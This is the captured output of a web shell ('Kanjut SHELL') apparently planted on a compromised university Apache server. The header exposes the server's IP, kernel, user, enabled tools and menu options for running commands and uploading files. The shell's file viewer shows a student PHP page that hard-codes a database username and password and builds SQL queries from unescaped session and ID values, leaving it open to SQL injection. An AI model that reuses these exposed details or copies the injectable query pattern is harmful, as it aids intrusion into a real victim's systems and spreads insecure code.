Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.123.162
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/bdstamour/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bdstamour/www/PartnersList.php
<?php
	session_start();
	if (isset($_SESSION['username']))
	{
?>
<HTML>
<HEAD>
<TITLE>FirstStep
</TITLE><link rel="stylesheet" type="text/css" href="research.css">
</HEAD><BODY>
<CENTER>
<H2>
My Partners
</H2><HR><Form action=PartnersListAction.php method=post><p>
<?php
	$host = 'localhost';
	$user = 'bdstamour';
	$passw = 'cs480';
	$database = 'bdstamour';
	$connect = mysqli_connect($host, $user, $passw);

	mysqli_select_db($connect, $database);

	$usernamesesh = $_SESSION['username'];

	$query = "select id from FirstStep2 where username='$usernamesesh'";
	$UserArray = mysqli_fetch_array(mysqli_query($connect, $query)) or die(mysqli_error($connect));
	$UserID = $UserArray[0];

	$sql = "select User1ID, User2ID from Partners where (User1ID='$UserID' or User2ID='$UserID') and Status='3'";
	$result = mysqli_query($connect, $sql) or die(mysqli_error($connect));

	$notifications = array();
	$n=0;

	if(mysqli_num_rows($result)==0)
	{
		print "You currently have no business partners at this time.";
	}

	if(mysqli_num_rows($result)!=0)
	{
		while($row = mysqli_fetch_row($result))
		{
			if($row[0] == $UserID)
			{
				array_push($notifications, $row[1]);
			}
			elseif($row[1] == $UserID)
			{
				array_push($notifications, $row[0]);
			}
		}

		print '<table border=1>';
		print '<th>First Name<th>Last Name<th>Email<th>Phone<th>Remove Partner?';
		for($n=0; $n<count($notifications); $n++)
		{
			$query = "select first, last, email, phone from FirstStep2 where id='$notifications[$n]'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			while($row = mysqli_fetch_row($result))
			{
				print "<tr>";
				foreach($row as $field)
				{
					print "<td>$field</td>";
				}
				print "<td><input type=checkbox name=remove[] value='$notifications[$n]'>Remove</td>";
				print "</tr>";
			}
			print "<p>";
		}
		$_SESSION['notifications'] = $notifications;
	}
?>
<p><p><p>
</table><p>
<INPUT type=submit value=Submit>
<INPUT type=reset value=Reset>
<?php
	}
	else
	{
?>
<CENTER>
<?php
		print "You are not logged in. Please <A HREF=FirstStepIndex.php>login.</A><p>";
		print "<A HREF=NewUser.php>Not registered?  Let's get started!</A><p>";
	}
?>
<HR>
<?php
		include("date.php");
?>
</HTML>
</CENTER>
</BODY>

Stv3n404 - 2023